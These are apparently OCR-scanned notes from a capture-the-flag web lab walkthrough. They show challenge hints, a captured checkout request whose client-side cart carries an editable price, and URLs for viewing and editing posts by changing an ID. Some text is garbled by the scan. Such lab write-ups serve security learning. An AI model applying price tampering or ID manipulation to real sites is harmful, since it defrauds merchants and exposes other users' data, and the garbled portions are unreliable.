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e Something looks out of place with checkout

e |t's always nice to get free stuff
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POST /43a063d40c/checkout HTTP/1.1
Host: 34.74.105.127
Content-Length: 188

Cache-Control: max-age=0

Origin: http://34.74.105.127

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3
770.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed

-exchange;v=b3

Referer: http://34.74.105.127/432a063d40c/cart

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=eyJljYXJOIjpbMFOsImlvZGlmaWVkIjpOcnV1fQ.XTKvXQ.sWSc3unmCOQGlaxQ55vqwvPOP30
Connection: close

cart=%5B%5B0%2C+%7B%2210g0%22%3A+%22kitten. jpg%h22%2C+%22price%22%3A+8.95%2C+%22name%22%3A+%22Kitten%22%2C+%22des
C%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+kitten.%22%7D%5D%5D

FERRD )5 AR

[[@, {"logo" i .jpg" i : 8.95, "name": "Kitten", "desc": "8 color glossy photograph of a kitt

en."}]]
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e There must be a way to administer the app

e Tools may help you find the entrypoint
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e The person with username “user” has a very easy password...
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e Tryviewing your own post and then see if you can change the ID

#—/helloword &

http://35.227.24.107/684e8372d4/index.php?page=view.php&id=1

-/ hello everyone &

http://35.227.24.107/684e8372d4/index.php?page=view.php&id=3
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¢ You can edit your own posts, what about someone else’s?
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http://35.227.24.107/684e8372d4/index.php?page=edit.php&id=1
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